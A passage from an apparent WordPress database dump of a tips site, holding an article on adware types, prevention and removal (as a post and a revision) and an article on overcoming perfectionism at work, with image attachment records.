your digital habits. You can completely decrease the risk of adware infiltration and ready your defenses against potential security breaches. Remember, proactive and informed steps contribute to a more secure online experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Following the ins and outs of adware is critical for maintaining a secure and safe digital environment. By staying informed about the types of adware, recognizing. Its implications for cybersecurity and safety, and implementing effective prevention tips, you can fortify your defenses against this pervasive threat. In the unfortunate event of adware infiltration, swift and decisive removal actions will help safeguard your personal information and ensure a resilient cybersecurity posture. Stay vigilant, stay informed, and stay secure in the progressing landscape of online threats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/retirement/11/5-steps-to-retirement-plan.asp\">click h</a><a href=\"https://www.the-next-tech.com/security/what-is-adware/\">ere.</a></p>\n<!-- /wp:paragraph -->','What Is Adware &amp; How To Prevent It For Cyber Security?','','publish','closed','closed','','what-is-adware-how-to-prevent-it-for-cyber-security','','','2024-02-27 16:29:06','2024-02-27 16:29:06','',0,'https://smartinsurance.tips/?p=3843',0,'post','',0),(3844,1,'2024-02-27 16:27:52','2024-02-27 16:27:52','','Untitled-3','','inherit','closed','closed','','untitled-3','','','2024-02-27 16:27:52','2024-02-27 16:27:52','',3843,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-3.png',0,'attachment','image/png',0),(3845,1,'2024-02-27 16:29:06','2024-02-27 16:29:06','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3844,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-3-1024x1024.png\" alt=\"\" class=\"wp-image-3844\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>In the changeful landscape of cybersecurity, one term that has gained notoriety is “adware.” This unnecessary guest in the digital empire can compromise the security and safety of your online experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this complete article, we will explore the nuances of adware, exploring its definition, types, and implications for cybersecurity and safety, as well as effective prevention tips. We will explain the difficulties of adware removal and how you can protect your digital environment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is Adware?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s short for advertising-supported software and It is a type of software that presentations advertisements on a user’s device. Unlike malware, which aims to harm or exploit, adware primarily focuses on delivering unwanted advertisements. These advertisements can manifest in various forms, such as appearing in windows, banners, or even redirecting your browser to sponsored websites.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Types of Adware</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Getting the different types of adware is critical for understanding possible threats and implementing effective preventive measures. Adware can be categorized into several types and including.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Pop-up Adware</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It is adware that generates intrusive pop-up advertisements that appear on your screen and often obstruct your view or disrupt your online activities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Browser Hijackers</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Browser hijackers alter your browser settings without your consent, redirecting your searches to predetermined websites and displaying additional ads.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Spyware</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When it comes to delivering customized adverts and some adware acts similarly to spyware by gathering data about your online activities and preferences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Trojan Adware</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Trojan adware disguises itself as legitimate software but carries malicious ad-serving components, deceiving users into installing it unknowingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Adware in Cyber Security</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Adware displays an Important threat to cybersecurity by exploiting sensitivity in software and potentially exposing users to more severe risks. Cybersecurity professionals feature the importance of staying alert against adware. It often serves as a gateway for more malicious attacks. Adware can ensure the reliability of your system, leading to data breaches, identity theft, and other cyber threats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Adware Prevention Tips</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To ready your defenses against adware and improve your overall cybersecurity posture, consider implementing the following preventive measures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Use Reliable Antivirus Software</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Invest in reputable antivirus software that offers present protection against adware and other malware threats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Keep Software Updated</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Continuously update your operating system, browsers, and security software to patch sensitivities that adware may exploit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Exercise Caution with Downloads</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Be insightful when downloading software or files from the internet, and only use trusted sources to minimize the risk of adware entrance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Enable Pop-Up Blockers</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Establish your browser settings to block pop-up ads and decrease the chances of happening pop-up adware.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Educate Yourself</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Stay informed about common adware techniques and be cautious when interacting with online advertisements to avoid falling victim to misleading practices.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Does Adware Removal Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In the event that adware manages to insert your system, prompt removal is necessary to mitigate potential risks. Adware removal typically involves the following steps.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Identify the Adware</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Operate antivirus or anti-adware tools to scan your system and find the specific adware impressive to your device.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Quarantine or Delete</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once identified, Separate or delete the adware infected files to prevent further harm to your system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Update Security Software</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Ensure that your antivirus software is up-to-date to improve and its effectiveness in detecting and preventing future adware attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Reset Browser Settings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If browser hijackers are involved, and reset your browser settings to prevent any unauthorized changes made by the adware.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How do I protect myself from adware?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Guarding oneself against the potential threats suggested by adware requires a combination of awareness and dynamic measures. Here’s a full Instruction on how to protect yourself from adware.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Download Wisely:</strong>&nbsp;Exercise caution when downloading software. Stick to reputable sources and official app stores to reduce the risk of inadvertently installing adware-laden applications.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Verify Software Sources:</strong>&nbsp;Before downloading any software, verify the legality of the source. Avoid downloading from unfamiliar websites, as these may be hotspots for adware distribution.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Update Regularly:</strong>&nbsp;Insure that your operating system, antivirus software, and another security applications are the latest. Regular updates help patch vulnerabilities and reinforce your defenses against evolving adware threats.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Install a Reliable Antivirus Program:</strong> Invest in a strong antivirus program that includes present protection against adware. Choose a reputable provider and keep the antivirus software active and regularly updated.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Enable Automatic Updates:</strong>&nbsp;Allow automatic improvements for your operating system and security software. This ensures that you receive the latest patches and enhancements to counter emerging adware threats.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>By integrating these practices into your digital habits. You can completely decrease the risk of adware infiltration and ready your defenses against potential security breaches. Remember, proactive and informed steps contribute to a more secure online experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Following the ins and outs of adware is critical for maintaining a secure and safe digital environment. By staying informed about the types of adware, recognizing. Its implications for cybersecurity and safety, and implementing effective prevention tips, you can fortify your defenses against this pervasive threat. In the unfortunate event of adware infiltration, swift and decisive removal actions will help safeguard your personal information and ensure a resilient cybersecurity posture. Stay vigilant, stay informed, and stay secure in the progressing landscape of online threats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/retirement/11/5-steps-to-retirement-plan.asp\">click h</a><a href=\"https://www.the-next-tech.com/security/what-is-adware/\">ere.</a></p>\n<!-- /wp:paragraph -->','What Is Adware &amp; How To Prevent It For Cyber Security?','','inherit','closed','closed','','3843-revision-v1','','','2024-02-27 16:29:06','2024-02-27 16:29:06','',3843,'https://smartinsurance.tips/?p=3845',0,'revision','',0),(3846,1,'2024-02-27 17:49:17','2024-02-27 17:49:17','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3847,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-13-1024x1024.png\" alt=\"\" class=\"wp-image-3847\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Do you sometimes feel that, no matter how hard you try, your work is never good enough? Maybe other people admire what you do, but you find it difficult to believe them? These and other signs may suggest that you’re a perfectionist.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While people often flash out their perfectionist tendencies in job interviews, this isn’t a desirable trait. In fact, an obsessive strive for perfection usually does more harm than good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this article, we’ll explain how perfectionism can impact your work and how you may be able to turn it around to your advantage. You’ll see that overcoming perfectionism is possible. But first, let’s define the term. What does it even mean to be a perfectionist?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>What Is Perfectionism, and How Is It Different From Being a High Achiever?</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Perfectionism is a mindset of a person who sets incredibly high standards for themselves. Those standards produce unrealistic expectations that are either impossible to meet or meeting them means the proverbial blood, sweat, and tears. However, a perfectionist doesn’t see it like that. In their mind, what others see as perfectionism seems like a way of proving themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the surface, you may think that perfectionist tendencies help you excel at work. But more often than not, that’s not true. If you notoriously put the bar too high, you’re setting yourself up for constant disappointment. This isn’t just detrimental to your workplace productivity. It can also take a toll on your mental health and cause low self-esteem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s worth noting that there is a difference between a perfectionist and a high achiever. They are motivated by different things. A high achiever thrives on a sense of accomplishment, and this motivates them to seek excellence. A perfectionist, on the other hand, is often motivated by fear: a fear of not being good enough, of failing, or of what others will think about them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re not sure if that’s you, read on. In the next section, we’ll offer some clues to help you assess whether or not you display perfectionistic behavior in the workplace.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>How to Find Out If You’re a Workplace Perfectionist</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Sometimes, it may be easy to confuse a perfectionist for a healthy high achiever. It’s important to identify which one you’re closer to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Below, you’ll find a list of typical perfectionist behaviors that are obstacles, rather than helpful in the workplace. See if you can recognize any of them in yourself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Whenever you don’t meet your own expectations, you experience negative self-talk:</strong>&nbsp;Self-criticism can be useful in some situations. But if your mind does it even for the smallest reasons, it may be a sign of perfectionism.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Your sense of self-worth depends on your work outcomes:</strong>&nbsp;Whenever there is a crisis at work, your self-esteem drops. You have a hard time feeling good about yourself unless every aspect of your work is impeccable.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>You procrastinate on tasks due to the fear of failure: </strong>One study has shown a correlation between putting tasks off and perfectionism. A common reason for procrastination among perfectionists is the worry that what they produce will fail.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>You try to avoid mistakes at all costs:</strong>&nbsp;Do you believe you can’t afford to make mistakes or else something terrible will happen? Not being able to accept one’s mistakes is a common trait among perfectionists.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>You spend lots of time on unimportant tasks, where the stakes are low:</strong> This often makes you feel like you’re wasting time, as you feel busy but rarely accomplish something of substance. It keeps you from risking imperfection in more important areas.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Your colleagues, friends, and family often point out that you have unrealistic expectations:</strong>&nbsp;To you, it seems that this is what you should be able to accomplish. Others are often surprised that you imagine it’s possible.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>You often experience self-doubt at work:</strong>&nbsp;Perfectionist thinking is characterized by self-defeating thoughts such as: “I’m never good enough,” “I shouldn’t make mistakes,” “Asking for help means I’m weak,” etc. Such thinking makes it hard to build and maintain self-confidence at work.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>All the above traits can have value in certain situations. From the evolutionary standpoint, always striving for better has allowed humans to survive. Focusing on what was missing helped our ancestors to be sensitive to danger and learn how to plan in advance for the times of scarcity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But those same mental tendencies are maladaptive in the modern workplace. Perfectionism tends to have negative consequences for both your productivity and wellbeing. That’s because it keeps you in a constant state of feeling inadequate, which reduces motivation to work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Luckily, there are many things that can help with overcoming perfectionism.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Overcoming Perfectionism: Make Your Perfectionist Tendencies Work in Your Favor</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you have perfectionist tendencies, this likely means you also have big dreams and ambitions. You’re not afraid of working hard, and you care about the results of your job. These are important advantages not to be overlooked.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But what if you could let go of perfectionism and come closer to becoming a high achiever instead? This is entirely possible. Below, you’ll find some ideas for overcoming perfectionism and improving your performance and mental health in the process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Become Aware of Your Perfectionistic Thoughts</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As Sheryl Sandberg, the COO of Meta once said, “We cannot change what we are not aware of, and once we are aware, we cannot help but change.” Becoming more aware of your perfectionist thinking will make it easier for you to change it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>How often do you think to yourself, “I’m no good,” or “I’m going to embarrass myself with this presentation”? Not sure? Keeping a thought diary may help. When you start writing down your thoughts, you’ll become better at recognizing them. This also means they won’t have so much power over you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Try Cognitive Behavioral Therapy</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Put simply, cognitive behavioral therapy (CBT) allows you to reprogram your thought patterns. Working with a therapist will help you question whether your most prevalent thoughts are true (or helpful). If not, you’ll learn techniques for how to tame them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you can’t afford a good therapist or don’t want to see one, you can also use a workbook to make peace with your perfectionist thoughts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Practice Unconditional Self-Acceptance</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A researcher whose work can be particularly useful for a perfectionist is Brene Brown. She’s been considered a vulnerability expert for over two decades, and she often highlights the importance of self-love and self-acceptance in her work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, Brene Brown believes that you can’t truly change in a meaningful, lasting way, unless you have self-acceptance. When you’re constantly in a state of dissatisfaction (as perfectionists often are), it doesn’t motivate you to work better. Rather, you’re living in a stress response mode all the time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Practicing self-acceptance can be a powerful antidote to this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Limit Your Use of Social Media</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The social media posts and self-help gurus telling you how to improve can easily perpetuate perfectionism. Productivity and hustle culture can make anyone feel like they’re not enough. If you combine this with your existing perfectionist tendencies, you may set your standards even higher — because it seems like that’s what everyone else is doing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To soften unrealistic expectations powered by social media, avoid looking at your notifications and updates — especially at work. It will make it easier to connect with your reality, instead of with what you imagine someone else is doing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Set Goals Alongside Your Co-Workers</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you tend to overshoot your work goals, there’s a simple trick you can use to deal with this. Next time you create your weekly work plan, do it alongside your work colleagues. It’ll help you see how much other people in your workplace are fitting in their week.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This doesn’t mean you have to lower your ambitions. However, it may help you see what realistic goals look like so you can better set your workload boundaries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Make Mistakes and Be Imperfect on Purpose</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This may sound a bit radical, but it works for a lot of people. To overcome perfectionism, expose yourself to making mistakes — or even make them on purpose. Let them be small but visible. Here are a few ideas:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Purposely sending an email with a few typos</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Improvising during a presentation, rather than rehearsing it before</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Openly admitting that you’ve sent incorrect information to your boss</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Coming to a meeting 10 minutes late</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you can make a few inconsequential mistakes on purpose, you may be able to learn that the world doesn’t end when you do. This will loosen up your perfectionism and help you enjoy your work more, as you won’t always be driven by horrible “what-if” scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>A Good Time Tracker Is a Perfectionist’s Friend</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A frequent problem for perfectionists is that they aren’t aware of how much they’re already doing. When you always expect the impossible standard from yourself, you may turn a blind eye to the progress you’re making and only focus on what’s missing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s why a time tracker can be a perfectionist’s best friend. It gives you an idea of how much you’ve actually accomplished and how long you worked in a given day, week, or month. This may make it easier to appreciate yourself and rewire the unhelpful mental patterns.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/retirement/11/5-steps-to-retirement-plan.asp\">click h</a><a href=\"https://rize.io/blog/overcoming-perfectionism\">ere.</a></p>\n<!-- /wp:paragraph -->','How Overcoming Perfectionism Can Make You a Better Worker','','publish','closed','closed','','how-overcoming-perfectionism-can-make-you-a-better-worker','','','2024-02-27 17:49:17','2024-02-27 17:49:17','',0,'https://smartinsurance.tips/?p=3846',0,'post','',0),(3847,1,'2024-02-27 17:47:39','2024-02-27 17:47:39','','Untitled-13','','inherit','closed','closed','','untitled-13-3','','','2024-02-27 17:47:39','2024-02-27 17:47:39','',3846,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-13.png',0,'attachment','image/png',0),(3848,1,'2024-02-27 17:49:17','2024-02-27 17:49:17','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3847,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-13-1024x1024.png\" alt=\"\" class=\"wp-image-3847\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Do you sometimes feel that, no matter how hard you try, your work is never good enough? Maybe other people admire what you do, but you find it difficult to believe them? These and other signs may suggest that you’re a perfectionist.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While people often flash out their perfectionist tendencies in job interviews, this isn’t a desirable trait. In fact, an obsessive strive for perfection usually does more harm than good.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this article, we’ll explain how perfectionism can impact your work and how you may be able to turn it around to your advantage. You’ll see that overcoming perfectionism is possible. But first, let’s define the term. What does it even mean to be a perfectionist?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>What Is Perfectionism, and How Is It Different From Being a High Achiever?</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Perfectionism is a mindset of a person who sets incredibly high standards for themselves. Those standards produce unrealistic expectations that are either impossible to meet or meeting them means the proverbial blood, sweat, and tears. However, a perfectionist doesn’t see it like that. In their mind, what others see as perfectionism seems like a way of proving themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On the surface, you may think that perfectionist tendencies help you excel at work. But more often than not, that’s not true. If you notoriously put the bar too high, you’re setting yourself up for constant disappointment. This isn’t just detrimental to your workplace productivity. It can also take a toll on your mental health and cause low self-esteem.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s worth noting that there is a difference between a perfectionist and a high achiever. They are motivated by different things. A high achiever thrives on a sense of accomplishment, and this motivates them to seek excellence. A perfectionist, on the other hand, is often motivated by fear: a fear of not being good enough, of failing, or of what others will think about them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re not sure if that’s you, read on. In the next section, we’ll offer some clues to help you assess whether or not you display perfectionistic behavior in the workplace.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>How to Find Out If You’re a Workplace Perfectionist</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Sometimes, it may be easy to confuse a perfectionist for a healthy high achiever. It’s important to identify which one you’re closer to.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Below, you’ll find a list of typical perfectionist behaviors that are obstacles, rather than helpful in the workplace. See if you can recognize any of them in yourself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Whenever you don’t meet your own expectations, you experience negative self-talk:</strong>&nbsp;Self-criticism can be useful in some situations. But if your mind does it even for the smallest reasons, it may be a sign of perfectionism.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Your sense of self-worth depends on your work outcomes:</strong>&nbsp;Whenever there is a crisis at work, your self-esteem drops. You have a hard time feeling good about yourself unless every aspect of your work is impeccable.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>You procrastinate on tasks due to the fear of failure: </strong>One study has shown a correlation between putting tasks off and perfectionism. A common reason for procrastination among perfectionists is the worry that what they produce will fail.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>You try to avoid mistakes at all costs:</strong>&nbsp;Do you believe you can’t afford to make mistakes or else something terrible will happen? Not being able to accept one’s mistakes is a common trait among perfectionists.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>You spend lots of time on unimportant tasks, where the stakes are low:</strong> This often makes you feel like you’re wasting time, as you feel busy but rarely accomplish something of substance. It keeps you from risking imperfection in more important areas.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Your colleagues, friends, and family often point out that you have unrealistic expectations:</strong>&nbsp;To you, it seems that this is what you should be able to accomplish. Others are often surprised that you imagine it’s possible.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>You often experience self-doubt at work:</strong>&nbsp;Perfectionist thinking is characterized by self-defeating thoughts such as: “I’m never good enough,” “I shouldn’t make mistakes,” “Asking for help means I’m weak,” etc. Such thinking makes it hard to build and maintain self-confidence at work.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>All the above traits can have value in certain situations. From the evolutionary standpoint, always striving for better has allowed humans to survive. Focusing on what was missing helped our ancestors to be sensitive to danger and learn how to plan in advance for the times of scarcity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But those same mental tendencies are maladaptive in the modern workplace. Perfectionism tends to have negative consequences for both your productivity and wellbeing. That’s because it keeps you in a constant state of feeling inadequate, which reduces motivation to work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Luckily, there are many things that can help with overcoming perfectionism.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Overcoming Perfectionism: Make Your Perfectionist Tendencies Work in Your Favor</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you have perfectionist tendencies, this likely means you also have big dreams and ambitions. You’re not afraid of working hard, and you care about the results of your job. These are important advantages not to be overlooked.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But what if you could let go of perfectionism and come closer to becoming a high achiever instead? This is entirely possible. Below, you’ll find some ideas for overcoming perfectionism and improving your performance and mental health in the process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Become Aware of Your Perfectionistic Thoughts</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As Sheryl Sandberg, the COO of Meta once said, “We cannot change what we are not aware of, and once we are aware, we cannot help but change.” Becoming more aware of your perfectionist thinking will make it easier for you to change it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>How often do you think to yourself, “I’m no good,” or “I’m going to embarrass myself with this presentation”? Not sure? Keeping a thought diary may help. When you start writing down your thoughts, you’ll become better at recognizing them. This also means they won’t have so much power over you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Try Cognitive Behavioral Therapy</strong></h3>\n<!-- 